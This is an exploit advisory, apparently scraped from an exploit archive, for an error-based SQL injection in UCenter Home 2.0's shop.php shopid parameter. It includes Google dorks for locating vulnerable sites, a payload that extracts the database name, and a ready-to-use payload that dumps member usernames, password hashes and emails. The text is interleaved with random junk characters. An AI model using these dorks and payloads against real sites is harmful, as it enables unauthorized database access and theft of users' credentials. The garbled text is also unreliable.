" V! w5 w; }4 K! S__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ % t$ d6 `, V" _* A# m
( x2 U, G3 r, R8 w
o4 |9 J& l* }7 i! X! f! D5 i
# k8 {1 _% Y* k*/ Author : KnocKout 2 g$ ]. a+ S R
/ N% e8 ~* c0 g8 d' D
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers # H4 X0 x/ I' Q0 ~
: E' D ]0 O- [# y' H
*/ Contact: knockoutr@msn.com
5 h1 L; ?4 }* h1 ~0 H% Z! n3 c) x1 T' ]" U
*/ Cyber-Warrior.org/CWKnocKout ! u A0 o' A3 E9 l/ i. f. }
# \2 ^: V- V3 [; H0 y0 }2 W% x: y
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
8 h, p* E1 w* H/ W @- \0 u4 m, R# R/ p* L* J9 U/ j
Script : UCenter Home
5 Z5 j! P( g' _( T( J: ]% C) O( }' A5 q7 k1 d4 w1 q
Version : 2.0
- h2 F j& m7 v# X0 I& ~1 M3 `% m
1 W2 s3 b2 ^/ \, |0 MScript HomePage : http://u.discuz.net/ # ]! h) A7 f$ ~2 [5 S
7 |/ w/ S0 F1 b2 C. a2 {1 }
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== 7 T- J2 q8 Y, G4 b- l
' p: i6 x1 w7 nDork : Powered by UCenter inurl:shop.php?ac=view ( \! _: ^* Z5 [$ e g( R# ^' ]- M
# P$ X8 `1 E$ \# w5 ~Dork 2 : inurl:shop.php?ac=view&shopid= ; ]: W* C8 I' b7 A! g
! y7 c* ?0 Z3 [( X* u
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== - y: h/ m5 S. r# Z0 Q' W
0 z7 N3 _1 V! f2 ]
Vuln file : Shop.php ' v; l9 m' B& x: j O" f
+ Z5 _" S0 B* v3 Ivalue's : (?)ac=view&shopid=
: W' v7 {2 l; |; B* {3 m
4 L _7 T; U$ [5 O9 c- E" ?" R, l3 OVulnerable Style : SQL Injection (MySQL Error Based)
) U! W2 r1 E1 o7 B! I' r1 U' y6 d5 |
Need Metarials : Hex Conversion
$ P$ T8 R3 c0 `2 G- x5 N: A! ]
+ P! v" |9 g- a6 h1 h. ~ d1 h$ k! B__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== + p: D8 b ?1 x# F9 r9 W
% Y& D! D2 T/ [" q- h9 t; XYour Need victim Database name. / w5 ^3 v, a& I' t
, @- b+ j3 N& p; sfor Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 2 b2 j T/ Z9 k" W9 h8 e5 Q& S
) y# l; s$ O, l/ P+ l# Y
..
# Z5 u: ~ i. p& R% W
1 X1 {: l2 y5 ~! gDB : Okey. , z6 d- x- R5 r: s6 V- B/ \3 V
# e/ w- p) k3 |/ P4 t
your edit DB `[TARGET DB NAME]`
: e. i) r$ q( f
0 @1 D" Y: }5 M7 u& kExample : 'hiwir1_ucenter'
3 Z' P6 i" y: V$ Q0 t5 v% N" ?" h, p, I0 T/ |0 V
Edit : Okey.
' t. R2 F. X b }5 D* D1 q' v* ?7 t, C: T
Your use Hex conversion. And edit Your SQL Injection Exploit..
7 _2 ~' Y; L9 C3 ~+ ]: M3 S5 R, }; X- J
* s7 O1 H* D7 K5 e! }: Y% {
8 G7 L8 d& C8 P5 E+ J6 B2 pExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 7 F7 |6 I- \5 P
|